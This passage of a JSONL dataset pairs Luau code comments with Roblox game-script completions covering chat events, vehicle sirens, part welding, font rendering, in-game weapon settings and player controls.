nil\n\tself.eDestroyed:Destroy()\n\tself.eSaidMessage:Destroy()\n\tself.eReceivedMessage:Destroy()\n\tself.eReceivedUnfilteredMessage:Destroy()\n\tself.eMessageDoneFiltering:Destroy()\n\tself.eReceivedSystemMessage:Destroy()\n\tself.eChannelJoined:Destroy()\n\tself.eChannelLeft:Destroy()\n\tself.eMuted:Destroy()\n\tself.eUnmuted:Destroy()\n\tself.eExtraDataUpdated:Destroy()\n\tself.eMainChannelSet:Destroy()\n\tself.eChannelNameColorUpdated:Destroy()\nend\n\nfunction methods:InternalAssignPlayerObject(playerObj)\n\tself.PlayerObj = playerObj\nend\n\nfunction methods:InternalAssignEventFolder(eventFolder)\n\tself.EventFolder = eventFolder\nend\n\nfunction methods:InternalSendMessage(messageObj, channelName)\n\tlocal success, err = pcall(function()\n\t\tself:LazyFire(\"eReceivedUnfilteredMessage\", messageObj, channelName)\n\t\tif self.PlayerObj then\n\t\t\tself.EventFolder.OnNewMessage:FireClient(self.PlayerObj, messageObj, channelName)\n\t\tend\n\tend)\n\tif not success and err then\n\t\tprint(\"Error sending internal message: \" ..err)\n\tend\nend\n\nfunction methods:InternalSendFilteredMessage(messageObj, channelName)\n\tlocal success, err = pcall(function()\n\t\tself:LazyFire(\"eReceivedMessage\", messageObj, channelName)\n\t\tself:LazyFire(\"eMessageDoneFiltering\", messageObj, channelName)\n\t\tif self.PlayerObj then\n\t\t\tself.EventFolder.OnMessageDoneFiltering:FireClient(self.PlayerObj, messageObj, channelName)\n\t\tend\n\tend)\n\tif not success and err then\n\t\tprint(\"Error sending internal filtered message: \" ..err)\n\tend\nend\n"} +{"prompt": "--Made by Luckymaxer", "completion": "\n\nPart = script.Parent\n\nDuration = Part:WaitForChild(\"Duration\")\n\nwait(Duration.Value)\n\nif Part:IsA(\"Part\") then\n\tfor i, v in pairs(Part:GetChildren()) do\n\t\tif v:IsA(\"ParticleEmitter\") then\n\t\t\tv.Enabled = false\n\t\tend\n\tend\nelseif Part:IsA(\"ParticleEmitter\") then\n\tPart.Enabled = false\nend\n"} +{"prompt": "--// # key, Yelp", "completion": "\nmouse.KeyDown:connect(function(key)\n\tif key==\"t\" then \n\t\tif veh.Lightbar.middle.Yelp.IsPlaying == true then\n\t\tveh.Lightbar.middle.Beep:Play()\n\t\tveh.Lightbar.middle.Yelp:Stop()\n\t\tscript.Parent.Parent.Sirens.Yelp.BackgroundColor3 = Color3.fromRGB(62, 62, 62)\n\t\telse\n\t\tveh.Lightbar.middle.Beep:Play()\n\t\tveh.Lightbar.middle.Yelp:Play()\n\t\tveh.Lightbar.middle.Priority:Stop()\n\t\tscript.Parent.Parent.Sirens.Yelp.BackgroundColor3 = Color3.fromRGB(215, 135, 110)\n\t\tscript.Parent.Parent.Sirens.Wail.BackgroundColor3 = Color3.fromRGB(62, 62, 62)\n\t\tscript.Parent.Parent.Sirens.Priority.BackgroundColor3 = Color3.fromRGB(62, 62, 62)\n\t\tend\n\tend\nend)\n"} +{"prompt": "-- Waits for the child of the specified parent", "completion": "\nlocal function WaitForChild(parent, childName)\n\twhile not parent:FindFirstChild(childName) do parent.ChildAdded:wait() end\n\treturn parent[childName]\nend\n\n\nlocal Tool = script.Parent\nlocal Handle = WaitForChild(Tool, 'Handle')\nlocal Debounce = false\n\nlocal TouchConnection\n\n\nfunction OnTouched(hit)\n\tlocal humanoid = hit.Parent:findFirstChild('Humanoid')\n\tif Debounce == false then\n\t\tDebounce = true\n\t\tif humanoid then\n\t\t\tHandle.DeadPlayer:Play()\n\t\telse\n\t\tend\n\tend\n\twait(0.5)\n\tDebounce = false\nend\n\n\nTool.Equipped:connect(function()\n\tTouchConnection = Handle.Touched:connect(OnTouched)\nend)\n\nTool.Unequipped:connect(function()\n\tif TouchConnection then\n\t\tTouchConnection:disconnect()\n\t\tTouchConnection = nil\n\tend\nend)\n"} +{"prompt": "-- events", "completion": "\n\nEVENTS.Gun.Event:connect(function(action, ...)\n\tif action == \"Enable\" then\n\t\tcurrentSize, currentAmmo\t= ...\n\t\t\n\t\tUpdate()\n\t\tGUN_GUI.Visible\t= true\n\t\t\n\t\tif ammoConnection then\n\t\t\tammoConnection:Disconnect()\n\t\t\tammoConnection\t= nil\n\t\tend\n\t\t\n\t\tif character then\n\t\t\tammoConnection\t= ammo[currentSize].Changed:connect(function()\n\t\t\t\tUpdate()\n\t\t\tend)\n\t\tend\n\telseif action == \"Disable\" then\n\t\tGUN_GUI.Visible\t= false\n\telseif action == \"Update\" then\n\t\tcurrentAmmo\t= ...\n\t\tUpdate()\n\tend\nend)\n\nPLAYER.CharacterAdded:connect(HandleCharacter)\n"} +{"prompt": "--[[*\n * Match the basename of a filepath.\n *\n * ```js\n * const picomatch = require('picomatch');\n * // picomatch.matchBase(input, glob[, options]);\n * console.log(picomatch.matchBase('foo/bar.js', '*.js'); // true\n * ```\n * @param {String} `input` String to test.\n * @param {RegExp|String} `glob` Glob pattern or regex created by [.makeRe](#makeRe).\n * @return {Boolean}\n * @api public\n ]]", "completion": "\n"} +{"prompt": "--\tif not debounce then\t\n--\t\tdebounce=true", "completion": "\n\t\t\n\t\tif target == bullet.Owner.Value then -- \u0441\u0432\u043e\u0439 \u0438\u0433\u0440\u043e\u043a\n\t--\t\tprint(\"\u043c\u0438\u043c\u043e \u0438\u0433\u0440\u043e\u043a\u0430\")\n\t\t\treturn -- \u043d\u0435 \u0430\u0442\u0430\u043a\u0443\u0435\u043c\n\t\tend"} +{"prompt": "--[[\n\tAdds a new context entry to this component's context table (which will be\n\tpassed down to child components).\n]]", "completion": "\nfunction Component:__addContext(key, value)\n\tif config.internalTypeChecks then\n\t\tinternalAssert(Type.of(self) == Type.StatefulComponentInstance, \"Invalid use of `__addContext`\")\n\tend\n\tlocal virtualNode = self[InternalData].virtualNode\n\n\t-- Make sure we store a reference to the component's original, unmodified\n\t-- context the virtual node. In the reconciler, we'll restore the original\n\t-- context if we need to replace the node (this happens when a node gets\n\t-- re-rendered as a different component)\n\tif virtualNode.originalContext == nil then\n\t\tvirtualNode.originalContext = virtualNode.context\n\tend\n\n\t-- Build a new context table on top of the existing one, then apply it to\n\t-- our virtualNode\n\tlocal existing = virtualNode.context\n\tvirtualNode.context = assign({}, existing, { [key] = value })\nend\n"} +{"prompt": "-- limit how often the client can fire", "completion": "\nlocal function onServerEvent(player, action, ...)\n\tif action == \"wear\" then\n\t\twear(player, ...)\n\telseif action == \"skintone\" then\n\t\tskinTone(player, ...)\n\telseif action == \"scale\" then\n\t\tscale(player, ...)\n\tend\nend\n"} +{"prompt": "--[[\n\tInternal method used by setState (to trigger updates based on state) and by\n\tthe reconciler (to trigger updates based on props)\n\n\tReturns true if the update was completed, false if it was cancelled by shouldUpdate\n]]", "completion": "\nfunction Component:__update(updatedElement, updatedState)\n\tif config.internalTypeChecks then\n\t\tinternalAssert(Type.of(self) == Type.StatefulComponentInstance, \"Invalid use of `__update`\")\n\t\tinternalAssert(\n\t\t\tType.of(updatedElement) == Type.Element or updatedElement == nil,\n\t\t\t\"Expected arg #1 to be of type Element or nil\"\n\t\t)\n\t\tinternalAssert(\n\t\t\ttypeof(updatedState) == \"table\" or updatedState == nil,\n\t\t\t\"Expected arg #2 to be of type table or nil\"\n\t\t)\n\tend\n\n\tlocal internalData = self[InternalData]\n\tlocal componentClass = internalData.componentClass\n\n\tlocal newProps = self.props\n\tif updatedElement ~= nil then\n\t\tnewProps = updatedElement.props\n\n\t\tif componentClass.defaultProps ~= nil then\n\t\t\tnewProps = assign({}, componentClass.defaultProps, newProps)\n\t\tend\n\n\t\tself:__validateProps(newProps)\n\tend\n\n\tlocal updateCount = 0\n\trepeat\n\t\tlocal finalState\n\t\tlocal pendingState = nil\n\n\t\t-- Consume any pending state we might have\n\t\tif internalData.pendingState ~= nil then\n\t\t\tpendingState = internalData.pendingState\n\t\t\tinternalData.pendingState = nil\n\t\tend\n\n\t\t-- Consume a standard update to state or props\n\t\tif updatedState ~= nil or newProps ~= self.props then\n\t\t\tif pendingState == nil then\n\t\t\t\tfinalState = updatedState or self.state\n\t\t\telse\n\t\t\t\tfinalState = assign(pendingState, updatedState)\n\t\t\tend\n\n\t\t\tlocal derivedState = self:__getDerivedState(newProps, finalState)\n\n\t\t\tif derivedState ~= nil then\n\t\t\t\tfinalState = assign({}, finalState, derivedState)\n\t\t\tend\n\n\t\t\tupdatedState = nil\n\t\telse\n\t\t\tfinalState = pendingState\n\t\tend\n\n\t\tif not self:__resolveUpdate(newProps, finalState) then\n\t\t\t-- If the update was short-circuited, bubble the result up to the caller\n\t\t\treturn false\n\t\tend\n\n\t\tupdateCount = updateCount + 1\n\n\t\tif updateCount > MAX_PENDING_UPDATES then\n\t\t\terror(tooManyUpdatesMessage:format(tostring(internalData.componentClass)), 3)\n\t\tend\n\tuntil internalData.pendingState == nil\n\n\treturn true\nend\n"} +{"prompt": "--print(name .. \" [\" .. idx .. \"] \" .. anim.id .. \" (\" .. anim.weight .. \")\")", "completion": "\nend\nend\nend\n"} +{"prompt": "--------\n--Main--\n--------", "completion": "\n\nfor i,v in next, Gui.Frame:GetChildren() do\n\tv.Visible = false\nend\n\nlocal OSize = Gui.Frame.Size\nlocal OPos = Gui.Frame.Position\nGui.Frame.Position = Gui.Frame.Position + UDim2.new(0, Gui.Frame.AbsoluteSize.X/2, 0, Gui.Frame.AbsoluteSize.Y/2)\nGui.Frame.Size = UDim2.new(0,0,0,0)\n\nGui.Frame.Visible = true\nGui.Frame:TweenSizeAndPosition(OSize,OPos)\nwait(1)\n\nfor i,v in next, Gui.Frame:GetChildren() do\n\tv.Visible = true\nend\n\nGui.Frame.Close.MouseButton1Click:connect(function ()\n\tfor i,v in next, Gui.Frame:GetChildren() do\n\t\tv.Visible = false\n\tend\n\tGui.Frame:TweenSizeAndPosition(UDim2.new(0,0,0,0),Gui.Frame.Position + UDim2.new(0, Gui.Frame.AbsoluteSize.X/2, 0, Gui.Frame.AbsoluteSize.Y/2))\n\twait(1)\n\tGui:Destroy()\nend)\n"} +{"prompt": "-- \tlistFrame.Position = UDim2.new(0, 0, 1, 0)\n-- \tlistFrame.Size = UDim2.new(1, 0, max, 0)\n-- \tlistFrame.Visible = false\n-- \tlistFrame.Parent = button", "completion": "\n\t"} +{"prompt": "-- helpers", "completion": "\nlocal Src = script.Parent\nlocal ErrorReporter = require(Src.ErrorReporter)\nlocal ErrorObserverClient = Src.ErrorObserverClient\n\n\nlocal er = ErrorReporter.new()\nlocal function onError(message, stack, origin)\n\ter:Report(message, stack, origin)\nend\n"} +{"prompt": "-- Services", "completion": "\nlocal replicatedStorage = game:GetService(\"ReplicatedStorage\")\nlocal players = game:GetService(\"Players\")\n"} +{"prompt": "-- Updated 10/14/2014 - Updated to 1.0.3\n--- Now handles joints semi-acceptably. May be rather hacky with some joints. :/", "completion": "\n\nlocal NEVER_BREAK_JOINTS = false -- If you set this to true it will never break joints (this can create some welding issues, but can save stuff like hinges).\n\n\nlocal function CallOnChildren(Instance, FunctionToCall)\n\t-- Calls a function on each of the children of a certain object, using recursion. \n\n\tFunctionToCall(Instance)\n\n\tfor _, Child in next, Instance:GetChildren() do\n\t\tCallOnChildren(Child, FunctionToCall)\n\tend\nend\n\nlocal function GetNearestParent(Instance, ClassName)\n\t-- Returns the nearest parent of a certain class, or returns nil\n\n\tlocal Ancestor = Instance\n\trepeat\n\t\tAncestor = Ancestor.Parent\n\t\tif Ancestor == nil then\n\t\t\treturn nil\n\t\tend\n\tuntil Ancestor:IsA(ClassName)\n\n\treturn Ancestor\nend\n\nlocal function GetBricks(StartInstance)\n\tlocal List = {}\n\n\t-- if StartInstance:IsA(\"BasePart\") then\n\t-- \tList[#List+1] = StartInstance\n\t-- end\n\n\tCallOnChildren(StartInstance, function(Item)\n\t\tif Item:IsA(\"BasePart\") then\n\t\t\tList[#List+1] = Item;\n\t\tend\n\tend)\n\n\treturn List\nend\n\nlocal function Modify(Instance, Values)\n\t-- Modifies an Instance by using a table. \n\n\tassert(type(Values) == \"table\", \"Values is not a table\");\n\n\tfor Index, Value in next, Values do\n\t\tif type(Index) == \"number\" then\n\t\t\tValue.Parent = Instance\n\t\telse\n\t\t\tInstance[Index] = Value\n\t\tend\n\tend\n\treturn Instance\nend\n\nlocal function Make(ClassType, Properties)\n\t-- Using a syntax hack to create a nice way to Make new items. \n\n\treturn Modify(Instance.new(ClassType), Properties)\nend\n\nlocal Surfaces = {\"TopSurface\", \"BottomSurface\", \"LeftSurface\", \"RightSurface\", \"FrontSurface\", \"BackSurface\"}\nlocal HingSurfaces = {\"Hinge\", \"Motor\", \"SteppingMotor\"}\n\nlocal function HasWheelJoint(Part)\n\tfor _, SurfaceName in pairs(Surfaces) do\n\t\tfor _, HingSurfaceName in pairs(HingSurfaces) do\n\t\t\tif Part[SurfaceName].Name == HingSurfaceName then\n\t\t\t\treturn true\n\t\t\tend\n\t\tend\n\tend\n\t\n\treturn false\nend\n\nlocal function ShouldBreakJoints(Part)\n\t--- We do not want to break joints of wheels/hinges. This takes the utmost care to not do this. There are\n\t-- definitely some edge cases. \n\n\tif NEVER_BREAK_JOINTS then\n\t\treturn false\n\tend\n\t\n\tif HasWheelJoint(Part) then\n\t\treturn false\n\tend\n\t\n\tlocal Connected = Part:GetConnectedParts()\n\t\n\tif #Connected == 1 then\n\t\treturn false\n\tend\n\t\n\tfor _, Item in pairs(Connected) do\n\t\tif HasWheelJoint(Item) then\n\t\t\treturn false\n\t\telseif not Item:IsDescendantOf(script.Parent.Parent) then\n\t\t\treturn false\n\t\tend\n\tend\n\t\n\treturn true\nend\n\nlocal function WeldTogether(Part0, Part1, JointType, WeldParent)\n\t--- Weld's 2 parts together\n\t-- @param Part0 The first part\n\t-- @param Part1 The second part (Dependent part most of the time).\n\t-- @param [JointType] The type of joint. Defaults to weld.\n\t-- @param [WeldParent] Parent of the weld, Defaults to Part0 (so GC is better).\n\t-- @return The weld created.\n\n\tJointType = JointType or \"Weld\"\n\tlocal RelativeValue = Part1:FindFirstChild(\"qRelativeCFrameWeldValue\")\n\t\n\tlocal NewWeld = Part1:FindFirstChild(\"qCFrameWeldThingy\") or Instance.new(JointType)\n\tModify(NewWeld, {\n\t\tName = \"qCFrameWeldThingy\";\n\t\tPart0 = Part0;\n\t\tPart1 = Part1;\n\t\tC0 = CFrame.new();--Part0.CFrame:inverse();\n\t\tC1 = RelativeValue and RelativeValue.Value or Part1.CFrame:toObjectSpace(Part0.CFrame); --Part1.CFrame:inverse() * Part0.CFrame;-- Part1.CFrame:inverse();\n\t\tParent = Part1;\n\t})\n\n\tif not RelativeValue then\n\t\tRelativeValue = Make(\"CFrameValue\", {\n\t\t\tParent = Part1;\n\t\t\tName = \"qRelativeCFrameWeldValue\";\n\t\t\tArchivable = true;\n\t\t\tValue = NewWeld.C1;\n\t\t})\n\tend\n\n\treturn NewWeld\nend\n\nlocal function WeldParts(Parts, MainPart, JointType, DoNotUnanchor)\n\t-- @param Parts The Parts to weld. Should be anchored to prevent really horrible results.\n\t-- @param MainPart The part to weld the model to (can be in the model).\n\t-- @param [JointType] The type of joint. Defaults to weld. \n\t-- @parm DoNotUnanchor Boolean, if true, will not unachor the model after cmopletion.\n\t\n\tfor _, Part in pairs(Parts) do\n\t\tif ShouldBreakJoints(Part) then\n\t\t\tPart:BreakJoints()\n\t\tend\n\tend\n\t\n\tfor _, Part in pairs(Parts) do\n\t\tif Part ~= MainPart then\n\t\t\tWeldTogether(MainPart, Part, JointType, MainPart)\n\t\tend\n\tend\n\n\tif not DoNotUnanchor then\n\t\tfor _, Part in pairs(Parts) do\n\t\t\tPart.Anchored = false\n\t\tend\n\t\tMainPart.Anchored = false\n\tend\nend\n\nlocal function PerfectionWeld()\t\n\tlocal Tool = GetNearestParent(script, \"Tool\")\n\n\tlocal Parts = GetBricks(script.Parent.Parent)\n\tlocal PrimaryPart = Tool and Tool:FindFirstChild(\"Handle\") and Tool.Handle:IsA(\"BasePart\") and Tool.Handle or script.Parent.Parent:IsA(\"Model\") and script.Parent.Parent.PrimaryPart or Parts[1]\n\n\tif PrimaryPart then\n\t\tWeldParts(Parts, PrimaryPart, \"Weld\", false)\n\telse\n\t\twarn(\"qWeld - Unable to weld part\")\n\tend\n\t\n\treturn Tool\nend\n\nlocal Tool = PerfectionWeld()\n\n\nif Tool and script.ClassName == \"Script\" then\n\t--- Don't bother with local scripts\n\n\tscript.Parent.Parent.AncestryChanged:connect(function()\n\t\tPerfectionWeld()\n\tend)\nend\n"} +{"prompt": "-- functions for calculating data for text from spritesheets", "completion": "\n\nlocal function getStringWidth(text, sizeSet)\n\tlocal length, ntext = 0, #text;\n\tfor i = 1, ntext do\n\t\tlocal i2 = i + 1 <= #text and i + 1;\n\t\tlocal b = byte(sub(text, i, i));\n\t\tlocal b2 = i2 and byte(sub(text, i2, i2));\n\t\tlocal character = sizeSet.characters[b];\n\t\tlocal kernx = 0\n\t\tif (b2 and sizeSet.kerning[b] and sizeSet.kerning[b][b2]) then\n\t\t\tkernx = sizeSet.kerning[b][b2].x;\n\t\tend;\n\t\tlength = length + sizeSet.characters[b].xadvance + kernx;\n\tend;\n\treturn length;\nend;\n\nlocal function getMaxHeight(text, sizeSet)\n\tlocal mheight, ntext = 0, #text;\n\tfor i = 1, ntext do\n\t\tlocal b = byte(sub(text, i, i));\n\t\tlocal character = sizeSet.characters[b];\n\t\tlocal height = sizeSet.characters[b].height + sizeSet.characters[b].yoffset;\n\t\tif (height > mheight) then\n\t\t\tmheight = height;\n\t\tend;\n\tend;\n\treturn mheight;\nend;\n"} +{"prompt": "--// Firemode Settings", "completion": "\n\tCanSelectFire = true;\n\tBurstEnabled = false;\n\tSemiEnabled = true;\n\tAutoEnabled = true;\n\tBoltAction = false;\n\tExplosiveEnabled = false;\n\t"} +{"prompt": "--[[local EffectFunctions = \n{\n\tfunction(hum,dir) hum:TakeDamage(1) end,\n\tfunction(hum,dir) hum:TakeDamage(-1) end,\n\tfunction(hum,dir) \n\t\tif hum.Torso then\n\t\t\tlocal nforce = Instance.new('BodyForce')\n\t\t\tnforce.force = dir*3000\n\t\t\tnforce.Parent = hum.Torso\n\t\t\thum.Sit = true\n\t\t\tgame.Debris:AddItem(nforce,.2)\n\t\t\tDelay(.2,function() hum.Sit = false end)\n\t\tend\n\tend\n}]]", "completion": "\nTool.Equipped:connect(function(mouse)\n\t--game.Players.LocalPlayer:GetMouse()\n\tSpawn(function()\n\t\t--local colorChoice = 1\n\t\tif not Tool.Parent:FindFirstChild('Torso') or not Tool.Parent.Torso:FindFirstChild('Right Shoulder') or not Tool.Parent:FindFirstChild('Humanoid') then return end\n\t\t--LazerSound:Play()\n\t\tnweld = Tool.Parent.Torso['Right Shoulder']\n\t\toldC0 = nweld.C0\n\t\tnweld.CurrentAngle = 0\n\t\tnweld.DesiredAngle = 0\n\t\tnweld.MaxVelocity = 0\n\t\t--[[mouse.Button1Down:connect(function()\n\t\t\tcolorChoice=colorChoice+1\n\t\t\tif colorChoice>#ColorChoices then colorChoice =1 end\n\t\t\tLazerSound.Pitch = .75+((colorChoice*.25)*3)\n\t\tend)]]\n\t\tequipped = true\n\t\twhile equipped and Tool.Parent:FindFirstChild('Torso') do\n\t\t\tlocal tframe = Tool.Parent.Torso.CFrame\n\t\t\ttframe = tframe + tframe:vectorToWorldSpace(Vector3.new(1, 0.5, 0))\n\t\t\tlocal taim = mouse.Hit.p -( tframe.p )\n\t\t\tnweld.C0 = (CFrame.new(Vector3.new(),tframe:vectorToObjectSpace(taim))*CFrame.Angles(0,math.pi/2,0))+Vector3.new( 1, 0.5, 0 )\n\t\t\t--rayparts = CastLightRay(Handle.CFrame.p+Handle.CFrame:vectorToWorldSpace(StartOffset[colorChoice]),mouse.Hit.p,ColorChoices[colorChoice], 5, .2,rayparts, EffectFunctions[colorChoice])\n\t\t\t--LazerSound.Volume = ((math.sin(tick()*3)+1)*.25)+.25\n\t\t\twait()\n\t\tend\n\t\tnweld.C0 =oldC0\n\t\t--LazerSound:Stop()\n\tend)\nend)\n\nTool.Unequipped:connect(function(mouse)\n\tequipped= false\n\t--LazerSound:Stop()\n\tfor i=1,50,1 do\n\t\t--[[if rayparts[i] then\n\t\t\trayparts[i]:Destroy()\n\t\t\trayparts[i]=nil\t\t\n\t\tend]]\n\tend\n\tif nweld then\n\t\tnweld.MaxVelocity =.15\n\t\tnweld.C0 =oldC0\n\tend\n\t\nend)\n"} +{"prompt": "-- LOCAL FUNCTIONS", "completion": "\nlocal function checkTopbarEnabled()\n\tlocal success, bool = xpcall(function()\n\t\treturn starterGui:GetCore(\"TopbarEnabled\")\n\tend, function(err)\n\t\t--has not been registered yet, but default is that is enabled\n\t\treturn true\n\tend)\n\treturn (success and bool)\nend\n\nlocal function checkTopbarEnabledAccountingForMimic()\n\tlocal topbarEnabledAccountingForMimic = (checkTopbarEnabled() or not IconController.mimicCoreGui)\n\treturn topbarEnabledAccountingForMimic\nend\n"} +{"prompt": "-- Check if the given message should trigger an emote, and return its animation ID", "completion": "\nfunction ChatEmotes.getEmoteFromMessage(message: string): (string?, string?)\n\tlocal useDefaultEmotes = config.getValues().useDefaultTriggerWordsForChatEmotes\n\tlocal list = if useDefaultEmotes then Cryo.Dictionary.join(emotesList, customEmotesList) else customEmotesList\n\tlocal candidates = {}\n\n\tfor _, emote in pairs(list) do\n\t\tif emote.requiresOwnershipOf and not emote.isOwned then\n\t\t\tcontinue\n\t\tend\n\n\t\tfor _, triggerWord in ipairs(emote.triggerWords) do\n\t\t\tif ChatEmotes.messageMatchesTriggerWord(message, triggerWord) then\n\t\t\t\ttable.insert(candidates, { animation = emote.animationId, triggerWord = triggerWord })\n\t\t\tend\n\t\tend\n\tend\n\n\tif #candidates == 0 then\n\t\treturn nil\n\tend\n\n\tlocal chosen = candidates[random:NextInteger(1, #candidates)]\n\treturn chosen.animation, chosen.triggerWord\nend\n\nfunction ChatEmotes.setTriggerWordsForChatAnimation(animationId: string, triggerWords: { string })\n\tassert(t.string(animationId), \"Bad argument #1 to ChatEmotes.setTriggerWordsForChatAnimation: expected a string\")\n\tassert(\n\t\tt.array(t.string)(triggerWords),\n\t\t\"Bad argument #2 to ChatEmotes.setTriggerWordsForChatAnimation: expected an array of strings\"\n\t)\n\tcustomEmotesList[animationId] = {\n\t\tanimationId = animationId,\n\t\ttriggerWords = triggerWords,\n\t}\nend\n\nfunction ChatEmotes.enable()\n\tif enabled then\n\t\treturn\n\tend\n\n\tlocal chatEvent = ReplicatedStorage:WaitForChild(\"DefaultChatSystemChatEvents\"):WaitForChild(\"OnNewMessage\")\n\tchattedConnection = chatEvent.OnClientEvent:Connect(function(data)\n\t\tif data.SpeakerUserId ~= Players.LocalPlayer.UserId then\n\t\t\treturn\n\t\tend\n\n\t\tlocal message = data.Message\n\t\tlocal animationId, triggerWord = ChatEmotes.getEmoteFromMessage(message)\n\t\tlocal humanoid = Players.LocalPlayer.Character and Players.LocalPlayer.Character:FindFirstChild(\"Humanoid\")\n\t\tlocal animator = humanoid and humanoid:FindFirstChild(\"Animator\")\n\t\tif animationId and animator then\n\t\t\tlocal animation = Instance.new(\"Animation\")\n\t\t\tanimation.AnimationId = animationId\n\n\t\t\tstopCurrentTrack()\n\t\t\tcurrentTrack = animator:LoadAnimation(animation)\n\t\t\tcurrentTrack.Priority = Enum.AnimationPriority.Action\n\t\t\tcurrentTrack:Play()\n\n\t\t\tevents.onChatAnimationPlayed:Fire(animationId, triggerWord)\n\t\tend\n\tend)\n\n\tlocal function onCharacterAdded(character)\n\t\tlocal humanoid = character:WaitForChild(\"Humanoid\")\n\t\tcharacterMovedConnection = humanoid:GetPropertyChangedSignal(\"MoveDirection\"):Connect(stopCurrentTrack)\n\t\tcharacterJumpedConnection = humanoid.Jumping:Connect(stopCurrentTrack)\n\tend\n\tif Players.LocalPlayer.Character then\n\t\ttask.spawn(function()\n\t\t\tonCharacterAdded(Players.LocalPlayer.Character)\n\t\tend)\n\tend\n\tcharacterAddedConnection = Players.LocalPlayer.CharacterAdded:Connect(onCharacterAdded)\n\n\t-- Ownership checks are cached on initialization because, as the call yields, performing this check when\n\t-- receiving a chat message would create a small delay before the animation is played\n\ttask.spawn(function()\n\t\tfor _, emote in pairs(emotesList) do\n\t\t\tif emote.requiresOwnershipOf then\n\t\t\t\temote.isOwned = MarketplaceService:PlayerOwnsAsset(Players.LocalPlayer, emote.requiresOwnershipOf)\n\t\t\tend\n\t\tend\n\tend)\n\n\tenabled = true\nend\n\nfunction ChatEmotes.disable()\n\tif not enabled then\n\t\treturn\n\tend\n\n\tstopCurrentTrack()\n\tif chattedConnection then\n\t\tchattedConnection:Disconnect()\n\t\tchattedConnection = nil\n\tend\n\tif characterAddedConnection then\n\t\tcharacterAddedConnection:Disconnect()\n\t\tcharacterAddedConnection = nil\n\tend\n\tif characterMovedConnection then\n\t\tcharacterMovedConnection:Disconnect()\n\t\tcharacterMovedConnection = nil\n\tend\n\tif characterJumpedConnection then\n\t\tcharacterJumpedConnection:Disconnect()\n\t\tcharacterJumpedConnection = nil\n\tend\n\tenabled = false\nend\n\nreturn ChatEmotes\n"} +{"prompt": "-- Convenience function so that calling code does not have to first get the activeController\n-- and then call GetMoveVector on it. When there is no active controller, this function returns the \n-- zero vector", "completion": "\nfunction ControlModule:GetMoveVector(): Vector3\n\tif self.activeController then\n\t\treturn self.activeController:GetMoveVector()\n\tend\n\treturn Vector3.new(0,0,0)\nend\n\nfunction ControlModule:GetActiveController()\n\treturn self.activeController\nend\n\nfunction ControlModule:EnableActiveControlModule()\n\tif self.activeControlModule == ClickToMove then\n\t\t-- For ClickToMove, when it is the player's choice, we also enable the full keyboard controls.\n\t\t-- When the developer is forcing click to move, the most keyboard controls (WASD) are not available, only jump.\n\t\tself.activeController:Enable(\n\t\t\ttrue,\n\t\t\tPlayers.LocalPlayer.DevComputerMovementMode == Enum.DevComputerMovementMode.UserChoice,\n\t\t\tself.touchJumpController\n\t\t)\n\telseif self.touchControlFrame then\n\t\tself.activeController:Enable(true, self.touchControlFrame)\n\telse\n\t\tself.activeController:Enable(true)\n\tend\nend\n\nfunction ControlModule:Enable(enable: boolean?)\n\tif not self.activeController then\n\t\treturn\n\tend\n\n\tif enable == nil then\n\t\tenable = true\n\tend\n\tif enable then\n\t\tself:EnableActiveControlModule()\n\telse\n\t\tself:Disable()\n\tend\nend\n"} +{"prompt": "------------------------------------------------------------------------------------------------------------------------------\n--// Classes", "completion": "\n\nlocal event = {};\n\nfunction event.new(t)\n\tlocal evnts = {};\n\tlocal self = setmetatable({},{\n\t\t__index = t;\n\t\t__newindex = function(tt, k, v)\n\t\t\tif (t[k] ~= v) then\n\t\t\t\tt[k] = v;\n\t\t\t\tif (type(evnts[k]) == \"function\") then\n\t\t\t\t\tevnts[k](v);\n\t\t\t\tend;\n\t\t\tend;\n\t\tend;\n\t\t__metatable = \"The metatable is locked.\";\n\t});\n\t\n\tfunction self:connect(k, f)\n\t\tevnts[k] = f;\n\tend;\n\t\n\treturn self;\nend;\n\nlocal settings = {};\n\nfunction settings.new(fontModule, attached, child)\n\tlocal self = setmetatable({}, {__index = settings});\n\t\n\tsettings.child = child;\n\tsettings.attached = attached;\n\t\n\t-- place data in new format for easy access\n\tself.information = fontModule.font.information;\n\tself.atlases = fontModule.atlases;\n\tself.styles = fontModule.font.styles;\n\t\n\t-- sort from least to greatest\n\tsort(self.information.sizes, function(a, b) return a > b; end);\n\t\n\t-- establish some settings variables\n\tself.style = self.information.styles[1];\n\tself.size = child.TextSize;\n\t\n\t-- failsafes\n\tfor styleName, style in next, self.styles do\n\t\t-- characters that DNE\n\t\tfor sizeName, size in next, style do\n\t\t\tsetmetatable(size.characters, {\n\t\t\t\t__index = function(t, k)\n\t\t\t\t\tlocal k = tostring(k);\n\t\t\t\t\tlocal v = rawget(t, k)\n\t\t\t\t\tif (not v) then\n\t\t\t\t\t\twarn(k, \"is not a valid character. Replaced with, \\\"\" .. char(REPLACE) .. \"\\\"\");\n\t\t\t\t\t\treturn rawget(t, tostring(REPLACE));\n\t\t\t\t\tend;\n\t\t\t\t\treturn v;\n\t\t\t\tend;\n\t\t\t})\n\t\tend;\n\t\t-- sizes that DNE\n\t\tsetmetatable(style, {\n\t\t\t__index = function(t, k)\n\t\t\t\tlocal k = tostring(k);\n\t\t\t\tlocal v = rawget(t, k);\n\t\t\t\tif (not v) then\n\t\t\t\t\tlocal closest = getClosestNumber(k, self.information.sizes);\n\t\t\t\t\tself.size = closest;\n\t\t\t\t\tchild.TextSize = closest;\n\t\t\t\t\twarn(k, \"is not a valid size. Using the closest size,\", closest);\n\t\t\t\t\treturn rawget(t, tostring(closest));\n\t\t\t\tend;\n\t\t\t\treturn v;\n\t\t\tend;\n\t\t});\n\tend;\n\t-- styles that DNE\n\tsetmetatable(self.styles, {\n\t\t__index = function(t, k)\n\t\t\tlocal v = rawget(t, k);\n\t\t\tif (not v) then \n\t\t\t\tlocal nstyle = self.information.styles[1];\n\t\t\t\tself.style = nstyle;\n\t\t\t\tattached.Style = nstyle;\n\t\t\t\twarn(k, \"is not a valid style. Using first style found\", nstyle);\n\t\t\t\treturn rawget(t, nstyle);\n\t\t\tend;\n\t\t\treturn v;\n\t\tend;\n\t});\n\t\n\treturn self;\nend;\n\nfunction settings:preload()\n\tfor _, atlas in next, self.atlases do\n\t\tcontent:Preload(atlas);\n\tend;\nend;\n"} +{"prompt": "-- On Startup\n--PhysicsService:CreateCollisionGroup(playerCollisionGroupName)\n--PhysicsService:CollisionGroupSetCollidable(playerCollisionGroupName, playerCollisionGroupName, false)", "completion": "\n\n"} +{"prompt": "-- Customization", "completion": "\n\tAntiTK = false; -- Set to false to allow TK and damaging of NPC, true for no TK. 